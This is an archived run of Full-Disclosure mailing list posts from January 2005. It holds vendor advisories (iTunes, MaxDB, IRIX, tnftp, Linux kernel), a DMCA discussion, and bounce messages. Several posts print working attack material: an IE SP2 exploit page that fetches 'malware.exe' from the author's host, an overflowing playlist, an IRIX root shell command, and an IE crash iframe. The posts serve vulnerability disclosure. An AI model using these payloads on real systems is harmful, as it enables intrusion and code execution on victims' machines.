related to the December 24th "Turk Telekom" incident, one of many
thousand prefixes announced through TTNet.

We are investigating using Renesys services, myASn, and other BGP
monitoring approaches to proactively detect future hijacks. 
Unfortunately, this doesn't address any underlying flaws in the
mechanisms used by MediaSentry (and other similar services) to detect
and report copyright infringement.

Kevin Kadow


From idlabs-advisories at idefense.com  Thu Jan 13 21:38:52 2005
From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com)
Date: Thu, 13 Jan 2005 16:38:52 -0500
Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.13.05: Apple iTunes
	Playlist Parsing Buffer Overflow Vulnerability
Message-ID: <FB24803D1DF2A34FA59FC157B77C970503C8B083@idserv04.idef.com>

Apple iTunes Playlist Parsing Buffer Overflow Vulnerability

iDEFENSE Security Advisory 01.13.05:
http://www.idefense.com/application/poi/display?type=vulnerabilities
January 13, 2005

I. BACKGROUND

Apple iTunes is a digital jukebox capable of playing a variety of sound
file formats, sharing music and burning music CD's. More information
about iTunes is available from:

    http://www.apple.com/itunes/

II. DESCRIPTION

Remote exploitation of a buffer overflow vulnerability in Apple Computer
Inc.'s iTunes music player allows attackers to execute arbitrary code.

The problem specifically exists when parsing playlist files that contain
long URL file entries. Malicious playlist files can come with either the
.m3u or .pls extension. Though their formats are different, the
vulnerability in each is the same.

An example malicious .pls file with a long URL:

    [playlist]
    NumberOfEntries=1
    File1=http://[A x 3045]1234

An example malicious .m3u file with a long URL:

    http://[A x 3045]1234

In both cases '[A x 3045]' represents any string of 3,045 bytes in
length. Opening either malicious playlist file on the Microsoft Windows
platform will cause iTunes to crash with an access violation when
attempting to execute instruction 0x34333231, which is the little-endian
ASCII code representation of '1234'. An attacker can exploit this
vulnerability to redirect the flow of control and eventually execute
arbitrary code. While this example is specific to the Microsoft Windows
platform, exploitation on the Apple Mac OS platform is also possible.

III. ANALYSIS

Exploitation of the described vulnerability allows remote attackers to
execute arbitrary code under the context of the user who started iTunes.
Exploitation requires that an attacker convince a target user to open a
malicious playlist file with a vulnerable version of iTunes.

IV. DETECTION

iTunes 4.7 as installed on the Microsoft Windows and Apple Mac OS
platforms are affected. Earlier versions may also be susceptible.

V. WORKAROUND

Do not open playlist files from untrusted sources. Inspect the contents
of .m3u and .pls playlist files for long URL file names prior to opening
them with iTunes.

VI. VENDOR RESPONSE

This vulnerability is addressed in iTunes 4.7.1.

iTunes 4.7.1 may be obtained from the Software Update pane in System
Preferences, or Apple's iTunes download site:

   http://www.apple.com/itunes/download/

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2005-0043 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

12/17/2004  Initial vendor notification
12/17/2004  Initial vendor response
01/13/2004  Public disclosure

IX. CREDIT

Sean de Regge (seanderegge[at]hotmail.com) is credited with this
discovery.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2004 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice at idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.




From sourvivor at phreaker.net  Thu Jan 13 23:08:36 2005
From: sourvivor at phreaker.net (sourvivor)
Date: Fri, 14 Jan 2005 00:08:36 +0100
Subject: [Full-Disclosure] little crash in IE
Message-ID: <01b001c4f9c4$d24eeab0$3f0010ac@thesur>

my little proof of concept: <html><iframe src="file:///?:\" 
name="thesur">Aew fdp :)</html> 




From seclists at securinews.com  Fri Jan 14 01:48:38 2005
From: seclists at securinews.com (Paul Kurczaba)
Date: Thu, 13 Jan 2005 20:48:38 -0500
Subject: [Full-Disclosure] little crash in IE
In-Reply-To: <01b001c4f9c4$d24eeab0$3f0010ac@thesur>
Message-ID: <200501140148.j0E1mmrs010271@lists.netsys.com>

Works perfectly! The crash dialog says the the error exists in user32.dll

-Paul 

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of sourvivor
Sent: Thursday, January 13, 2005 6:09 PM
To: full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] little crash in IE

my little proof of concept: <html><iframe src="file:///?:\" 
name="thesur">Aew fdp :)</html> 


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html





From lewk at gentoo.org  Fri Jan 14 01:50:37 2005
From: lewk at gentoo.org (Luke Macken)
Date: Thu, 13 Jan 2005 20:50:37 -0500
Subject: [Full-Disclosure] [ GLSA 200501-24 ] tnftp: Arbitrary file
	overwriting
Message-ID: <20050114015037.GA32445@tomservo.ne1.client2.attbi.c>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-24
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: tnftp: Arbitrary file overwriting
      Date: January 14, 2005
      Bugs: #74704
        ID: 200501-24

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

tnftp fails to validate filenames when downloading files, making it
vulnerable to arbitrary file overwriting.

Background
==========

tnftp is a NetBSD FTP client with several advanced features.

Affected packages
=================

    -------------------------------------------------------------------
     Package        /  Vulnerable  /                        Unaffected
    -------------------------------------------------------------------
  1  net-ftp/tnftp     < 20050103                          >= 20050103

Description
===========

The 'mget' function in cmds.c lacks validation of the filenames that
are supplied by the server.

Impact
======

An attacker running an FTP server could supply clients with malicious
filenames, potentially allowing the overwriting of arbitrary files with
the permission of the connected user.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All tnftp users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-ftp/tnftp-20050103"

References
==========

  [ 1 ] CAN-2004-1294
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1294
  [ 2 ] Original Advisory
        http://tigger.uic.edu/~jlongs2/holes/tnftp.txt

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-24.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/712dd066/attachment.bin 

From jeff-kell at utc.edu  Fri Jan 14 02:23:29 2005
From: jeff-kell at utc.edu (Jeff Kell)
Date: Thu, 13 Jan 2005 21:23:29 -0500
Subject: [Full-Disclosure] MediaSentry false positives?
In-Reply-To: <dc718edc0501131336969bcc8@mail.gmail.com>
References: <dc718edc050104212217392af6@mail.gmail.com>	<200501051453.j05ErtS5031948@turing-police.cc.vt.edu>
	<dc718edc0501131336969bcc8@mail.gmail.com>
Message-ID: <41E72D21.90808@utc.edu>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Another interesting twist in DMCA reports in general that I've noticed
in recent tracebacks to see whom to approach with the clue bat, I'm
finding no correlating connections (by NTP timestamps) in our PIX logs,
but do see evidence of attempts to connect.  The attempts timeout on the
incoming SYN.  At first thought, they're making an accusation based on
stale directory cache data from another peer in the P2P network.

On closer examination, I find connections *from* the accused IP going
out to P2P server ports outside campus, and they are moving data, so
they are, in fact, doing something.

Further checking and there are hours and hours of attempted connections
inbound to the accused that are dropped due to SYN timeouts.  So now I'm
thinking it's someone with WinXP firewall, and it's dropping incoming
requests.  Well how about that :-)

So they are not, in effect, sharing anything on the network.

Does the DMCA cover "attempted sharing" ??

Jeff

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (MingW32)

iD8DBQFB5y0hot2VatFbXMERAl8kAJ9EYiMxyPJZwXZV3GJ/6msvsY/zAQCeKHkW
XHuZ0vx0wSXBfCLzUUwl9aE=
=vp2V
-----END PGP SIGNATURE-----


From idlabs-advisories at idefense.com  Thu Jan 13 22:39:16 2005
From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com)
Date: Thu, 13 Jan 2005 17:39:16 -0500
Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.13.05: MySQL MaxDB
	WebAgent websql logon Buffer Overflow Vulnerability
Message-ID: <FB24803D1DF2A34FA59FC157B77C970503C8B08D@idserv04.idef.com>

MySQL MaxDB WebAgent websql logon Buffer Overflow Vulnerability

iDEFENSE Security Advisory 01.13.05
www.idefense.com/application/poi/display?id=181&type=vulnerabilities
January 13, 2005

I. BACKGROUND

MaxDB by MySQL is a re-branded and enhanced version of SAP DB, SAP AG's
open source database. MaxDB is a heavy-duty, SAP-certified open source
database that offers high availability, scalability and a comprehensive
feature set. MaxDB complements the MySQL database server, targeted for
large mySAP ERP environments and other applications that require maximum
enterprise-level database functionality.

   http://www.mysql.com/products/maxdb/

II. DESCRIPTION

Remote exploitation of a stack based buffer overflow vulnerability in 
MySQL MaxDB could allow attackers to execute arbitrary code. 

The vulnerability specifically exists due to a lack of bounds checking 
in the websql CGI application. In this case, the value of the password 
parameter is converted to unicode and then copied to the stack. The 
resulting overflow can overwrite the saved values for eip and ebp if 
supplied with a 294 byte value. The stored register values are 
overwritten with portions of the unicode copy of the string which may be

leveraged to execute arbitrary code with SYSTEM privileges. A simple 
overwrite with a long password value will result in the following 
debugger output:

Program received signal SIGSEGV, Segmentation fault.
[Switching to thread 328.0xc80]
0x00410041 in ?? ()
(gdb) bt
#0  0x00410041 in ?? ()
#1  0x00410041 in ?? ()
#2  0x00420042 in ?? ()
#3  0x00430043 in ?? ()
#4  0x00440044 in ?? ()
(gdb) i r
eax            0x0      0
ecx            0x440044 4456516
edx            0x440044 4456516
ebx            0x1a789e0        27757024
esp            0x1559490        0x1559490
ebp            0x410041 0x410041
esi            0x1a72190        27730320
edi            0x1a3d2d4        27513556
eip            0x410041 0x410041

III. ANALYSIS

Successful exploitation of the vulnerability can allow remote attackers 
to execute code with SYSTEM privileges. Note that the vulnerability is 
in the web administration service which should be configured to not 
allow connections from untrusted hosts or listen on public facing 
network interfaces.

IV. DETECTION

iDEFENSE has confirmed the existence of this vulnerability in MySQL 
MaxDB 7.5.00.

V. WORKAROUND

Employ firewalls, access control lists or other TCP/UDP restriction 
mechanism to limit access to administrative systems and services.

VI. VENDOR RESPONSE

The vulnerability has been addressed in MaxDB 7.5.00.18.

Further details are available at:
http://www.sapdb.org/webpts?wptsdetail=yes&ErrorType=0&ErrorID=1131190

VII. CVE INFORMATION

A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.

VIII. DISCLOSURE TIMELINE

12/22/2004  Initial vendor notification
12/27/2004  Initial vendor response
01/13/2005  Public disclosure

IX. CREDIT

The discoverer of this vulnerability wishes to remain anonymous.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2004 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice at idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.




From idlabs-advisories at idefense.com  Thu Jan 13 22:39:50 2005
From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com)
Date: Thu, 13 Jan 2005 17:39:50 -0500
Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.13.05: SGI IRIX
	inpview Design Error Vulnerability
Message-ID: <FB24803D1DF2A34FA59FC157B77C970503C8B08E@idserv04.idef.com>

SGI IRIX inpview Design Error Vulnerability

iDEFENSE Security Advisory 01.13.05
www.idefense.com/application/poi/display?id=182&type=vulnerabilities
January 13, 2005

I. BACKGROUND

The inpview program is a setuid root application that is included in the

InPerson networked multimedia conferencing tool. InPerson networked 
multimedia conferencing tool is included in SGI IRIX.

II. DESCRIPTION

Local exploitation of a design error vulnerability in the inpview 
command included in multiple versions of Silicon Graphics Inc.'s IRIX 
could allow for arbitrary code execution as the root user. 

The vulnerability specifically exists due to the fact that inpview 
trusts the user environment and does not drop privileges. When the 
environment variable SUN_TTSESSION_CMD is something such as "cp /bin/jsh

/tmp/jsh;chmod 6755 /tmp/jsh;killall -9 inpview," the chain of commands 
will be executed with root permissions, thus allowing a regular user to 
drop a setuid and setgid shell to /tmp.

III. ANALYSIS

All that is required to exploit this vulnerability is a local account 
and an open X display, which could be the attacker's home machine or 
another compromised system. Exploitation does not require any knowledge 
of application internals, making privilege escalation trivial, even for 
unskilled attackers. 

IV. DETECTION

iDEFENSE has confirmed the existence of this vulnerability in SGI IRIX 
version 6.5.9 (feature) and 6.5.22 (maintenance). It is suspected that 
previous and later versions of both the feature and maintenance 
revisions of IRIX 6.5 are also vulnerable.

V. WORKAROUND

Only allow trusted users local access to security critical systems.

Alternately, remove the setuid bit from inpview: 

   chmod u-s /usr/lib/InPerson/inpview

VI. VENDOR RESPONSE

Support for the InPerson product did not extend beyond 02/2002 as noted
in the following publication:

 techpubs.sgi.com/library/manuals/4000/007-4526-001/pdf/007-4526-001.pdf

As a result, no patch will be issued for this vulnerability.

VII. CVE INFORMATION

A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.

VIII. DISCLOSURE TIMELINE

01/06/2005  Initial vendor notification
01/07/2005  Initial vendor response
01/13/2005  Public disclosure

IX. CREDIT

iDEFENSE Labs is credited with this discovery.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2004 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice at idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.




From jnielsen at sct.com  Fri Jan 14 04:45:19 2005
From: jnielsen at sct.com (jnielsen at sct.com)
Date: Fri, 14 Jan 2005 10:15:19 +0530
Subject: [Full-Disclosure] Mail Delivery (failure
	full-disclosure@lists.netsys.com)
Message-ID: <200501140444.j0E4isrs026050@lists.netsys.com>


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050114/80266471/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: audio/x-wav
Size: 31744 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050114/80266471/attachment.wav 

From Valdis.Kletnieks at vt.edu  Fri Jan 14 06:59:20 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Fri, 14 Jan 2005 01:59:20 -0500
Subject: [Full-Disclosure] MediaSentry false positives? 
In-Reply-To: Your message of "Thu, 13 Jan 2005 21:23:29 EST."
	<41E72D21.90808@utc.edu> 
References: <dc718edc050104212217392af6@mail.gmail.com>
	<200501051453.j05ErtS5031948@turing-police.cc.vt.edu>
	<dc718edc0501131336969bcc8@mail.gmail.com> <41E72D21.90808@utc.edu>
Message-ID: <200501140659.j0E6xKl4028648@turing-police.cc.vt.edu>

On Thu, 13 Jan 2005 21:23:29 EST, Jeff Kell said:

> Does the DMCA cover "attempted sharing" ??

IANAL and all that.. but anyhow..  :)

All the relevant text (17 USC 506 and others) are *quite* specific in their
use of copies actually produced or distributed as the relevant criterion.
As such, a good lawyer can probably argue that your apparently firewalled
user didn't actually *succeed* in making or distributing any copies, and
as such doesn't have any legal liability.

I'll let somebody else be the test case, however... ;)

http://www.auditservices.fsu.edu/services/copyright/infringement.html
has all the relevant 17 USC and 18 USC text...
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050114/d9adb074/attachment.bin 

From jkuperus at planet.nl  Fri Jan 14 07:38:20 2005
From: jkuperus at planet.nl (jkuperus at planet.nl)
Date: Fri, 14 Jan 2005 13:08:20 +0530
Subject: [Full-Disclosure] Mail Delivery (failure
	full-disclosure@lists.netsys.com)
Message-ID: <200501140737.j0E7bors011128@lists.netsys.com>


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050114/8ef3dd0a/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: audio/x-wav
Size: 31744 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050114/8ef3dd0a/attachment.wav 

From theinsider at 012.net.il  Fri Jan 14 07:53:00 2005
From: theinsider at 012.net.il (Rafel Ivgi, The-Insider)
Date: Fri, 14 Jan 2005 09:53:00 +0200
Subject: [Full-Disclosure] Internet Explorer (SP2) - Remote File Download
	Information Bar Bypass
Message-ID: <00a001c4fa0e$12004430$f85ab350@noone>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:       Internet Explorer
Vendors:           http://www.microsoft.com
Versions:          6.0.2900.2180.xpsp_sp2_rtm.040803-2158
Patched With:   SP2;
Platforms:         Windows
Bug:                 Remote File Download Information Bar Bypass
Exploitation:     Remote with browser
Date:               13 Jan 2005
Author:            Rafel Ivgi, The-Insider
e-mail:             the_insider at mail.com
web:                http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

Internet Explorer is currently the most common internet browser in the
world.
Microsoft Windows XP Service Pack 2 was designed to block any file download
by an information bar which must be clicked and selected with "Download
File".

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

While trying to download a file Microsoft Internet Explorer
the user gets the information bar. The information bar
mechanism blocks/catches all references to download-able files,
even through javascripts and HTML Event properties.
However Microsoft's Internet Explorer (SP2) DOES NOT CATCH
"body" tag with the HTML "onclick" event which dynamically
created "iframe" tags. For a good, more complicated dynamic
object creation i used the "createElement" function.
This way an attacker can make a user download a file with him just
clicking anywhere on the page (not on an hyperlink).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

Paste into an htm/html file and add "<" at the begining of each line:
------------------------ cut here --------------------------------------
!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
!-- saved from url=(0031)http://theinsider.deep-ice.com/ -->
HTML><HEAD><TITLE>The-Insider http://theinsider.deep-ice.com</TITLE>
META http-equiv=expires content="01 Jan  1998 01:01:00 GMT">
META http-equiv=Content-Type content="text/html; charset=windows-1252">
META http-equiv=Content-Language content=en-us>
META content=True name=HandheldFriendly>
META content="MSHTML 6.00.2900.2523" name=GENERATOR></HEAD>

embed>
body onclick='a=document.createElement("\<iframe
src=\"http:\/\/theinsider.deep-
ice.com\/malware.exe\"\>\<\/iframe\>");document.body.appendChild
(a);setTimeout("document.execCommand\(\"refresh\")",1000)'>
cebter><br><br><br><br><br><br>Click AnyWhere You Want</center>
/BODY></HTML>
------------------------ cut here --------------------------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."



From cm at coretec.at  Fri Jan 14 08:22:11 2005
From: cm at coretec.at (Cm)
Date: Fri, 14 Jan 2005 09:22:11 +0100
Subject: [Full-Disclosure] Protected message
Message-ID: <scqpkiwbmiqcoujcgfy@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050114/a98810ce/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: text_document.cpl
Type: application/octet-stream
Size: 22476 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050114/a98810ce/attachment.obj 

From skylined at edup.tudelft.nl  Fri Jan 14 09:33:43 2005
From: skylined at edup.tudelft.nl (Berend-Jan Wever)
Date: Fri, 14 Jan 2005 10:33:43 +0100
Subject: [Full-Disclosure] Internet Explorer valid JavaScript-file
	successfull load detection local file enumeration
Message-ID: <002c01c4fa1c$25d87eb0$0100a8c0@grotedoos>

Hi all,

Internet Explorer allows webpages on a remote server to load scripts from the local harddisk. These scripts get run in the remote server's security zone. This is not so much cross-site scripting but what I will call "cross-site loading" for now. Cross-site loading is not a new problem, a number of these bugs have been found already, most of which have not been fixed yet, even though the problem is over two years old now. 

Anyway, using this variant I constructed a webpage that will try to load a JavaScript that is present by default on win2k from various locations on your harddisk(s). If it succeeds, one can assume this is the windows installation directory.

Demo and example:
http://www.edup.tudelft.nl/~bjwever/advisory_ie_flaws.html.php
(I also added demos and examples for two other old, known and unfixed cross-site loading problems).

FireFox does not allow any cross-site loading as far as I could tell, all three demo's do not work on it for that matter.

Cheers,

Berend-Jan Wever
SMTP: <skylined at edup.tudelft.nl>
HTTP: http://www.edup.tudelft.nl/~bjwever
MSN: Skylined at edup.tudelft.nl
IRC: SkyLined in #SkyLined on EFNET
PGP: key ID 0x48479882






From tom.koehler at gmx.net  Fri Jan 14 11:58:41 2005
From: tom.koehler at gmx.net (Tom Koehler)
Date: Fri, 14 Jan 2005 12:58:41 +0100 (MET)
Subject: [Full-Disclosure] Internet Explorer valid JavaScript-file
	successfull load detection local file enumeration
Message-ID: <9052.1105703921@www63.gmx.net>

Hi Berend-Jan,
Tested with FireFox 1.0 (german) on Win2k (german
fully patched): The script couldn't find my SysPath.
IE could
Have nice WE
tom

-- 
+++ Sparen Sie mit GMX DSL +++ http://www.gmx.net/de/go/dsl
AKTION f?r Wechsler: DSL-Tarife ab 3,99 EUR/Monat + Startguthaben


From martin.pitt at canonical.com  Fri Jan 14 14:30:14 2005
From: martin.pitt at canonical.com (Martin Pitt)
Date: Fri, 14 Jan 2005 15:30:14 +0100
Subject: [Full-Disclosure] [USN-60-0] Linux kernel vulnerabilities
Message-ID: <20050114143014.GA946@box79162.elkhouse.de>

===========================================================
Ubuntu Security Notice USN-60-0		   January 14, 2005
linux-source-2.6.8.1 vulnerabilities
CAN-2005-0001
http://lists.netsys.com/pipermail/full-disclosure/2005-January/030660.html
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

linux-image-2.6.8.1-4-386
linux-image-2.6.8.1-4-686
linux-image-2.6.8.1-4-686-smp
linux-image-2.6.8.1-4-amd64-generic
linux-image-2.6.8.1-4-amd64-k8
linux-image-2.6.8.1-4-amd64-k8-smp
linux-image-2.6.8.1-4-amd64-xeon
linux-image-2.6.8.1-4-k7
linux-image-2.6.8.1-4-k7-smp
linux-image-2.6.8.1-4-power3
linux-image-2.6.8.1-4-power3-smp
linux-image-2.6.8.1-4-power4
linux-image-2.6.8.1-4-power4-smp
linux-image-2.6.8.1-4-powerpc
linux-image-2.6.8.1-4-powerpc-smp
linux-patch-debian-2.6.8.1

The problem can be corrected by upgrading the affected package to
version 2.6.8.1-16.10.  In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

CAN-2005-0001:

  Paul Starzetz discovered a race condition in the Linux page fault
  handler code. This allowed an unprivileged user to gain root
  privileges on multiprocessor machines under some circumstances.
  This also affects the Hyper-Threading mode on Pentium 4 processors.

http://lists.netsys.com/pipermail/full-disclosure/2005-January/030660.html:

  Brad Spengler discovered that some device drivers used
  copy_from_user() (a function to copy data from userspace tools into
  kernel memory) with insufficient input validation. This potentially
  allowed users and/or malicious hardware to overwrite kernel memory
  which could result in a crash (Denial of Service) or even root
  privilege escalation.

Additionally, this update corrects the SMB file system driver.
USN-30-1 fixed some vulnerabilities in this driver (see CAN-2004-0883,
CAN-2004-0949). However, it was found that these new validation checks
were too strict, which cause some valid operations to fail.


  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-source-2.6.8.1_2.6.8.1-16.10.diff.gz
      Size/MD5:  3124783 7baba6f520b34239295eec86ceeadb57
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-source-2.6.8.1_2.6.8.1-16.10.dsc
      Size/MD5:     2121 78646f13bd7c123b1e1e1aee212a19b0
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-source-2.6.8.1_2.6.8.1.orig.tar.gz
      Size/MD5: 44728688 79730a3ad4773ba65fab65515369df84

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-doc-2.6.8.1_2.6.8.1-16.10_all.deb
      Size/MD5:  6157246 2557a8f542a6e9ccc5bbbe537a09f24d
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-patch-debian-2.6.8.1_2.6.8.1-16.10_all.deb
      Size/MD5:  1480818 7095633ace504dd73613917c5e4d821b
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-source-2.6.8.1_2.6.8.1-16.10_all.deb
      Size/MD5: 36717852 f5e6d31457d3d01b36d9c3d097a245bf
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-tree-2.6.8.1_2.6.8.1-16.10_all.deb
      Size/MD5:   307276 785cc9563aeb987ac56d04c5860c4583

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-amd64-generic_2.6.8.1-16.10_amd64.deb
      Size/MD5:   247434 6588a9beca0665c21bce6e0c35ef5eef
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-amd64-k8-smp_2.6.8.1-16.10_amd64.deb
      Size/MD5:   242972 ef0192b74166eda7c85faae0f961a2cb
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-amd64-k8_2.6.8.1-16.10_amd64.deb
      Size/MD5:   246506 fa75cfaa15ba3ff9c5b11f4945a4c5ec
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-amd64-xeon_2.6.8.1-16.10_amd64.deb
      Size/MD5:   241342 decfc1908a591a25b4e9e1be8f0e3649
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4_2.6.8.1-16.10_amd64.deb
      Size/MD5:  3178078 1251cdcd9878ff7bdce13488ad574d8f
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-amd64-generic_2.6.8.1-16.10_amd64.deb
      Size/MD5: 14353334 8d4512da15329f410b45c67cbd42bf0b
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-amd64-k8-smp_2.6.8.1-16.10_amd64.deb
      Size/MD5: 14828790 e3d54c2f7c767aebc1a063cc27af0811
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-amd64-k8_2.6.8.1-16.10_amd64.deb
      Size/MD5: 14861886 6122cebafa9bff7fb91671970c556cfe
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-4-amd64-xeon_2.6.8.1-16.10_amd64.deb
      Size/MD5: 14684698 3f5b386a6e40f80516f9e59db20c6692

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-386_2.6.8.1-16.10_i386.deb
      Size/MD5:   276196 fe47ff520d0d798cbaa81dcc2b1f6e86
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-686-smp_2.6.8.1-16.10_i386.deb
      Size/MD5:   270874 cbe52b86d908e1255272d175f9f651d1
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-4-686_2.6.8.1-16.10_i386.deb
      Size/MD5:   274050 5a2535d1895d13f7adb5f919f07dcb8a
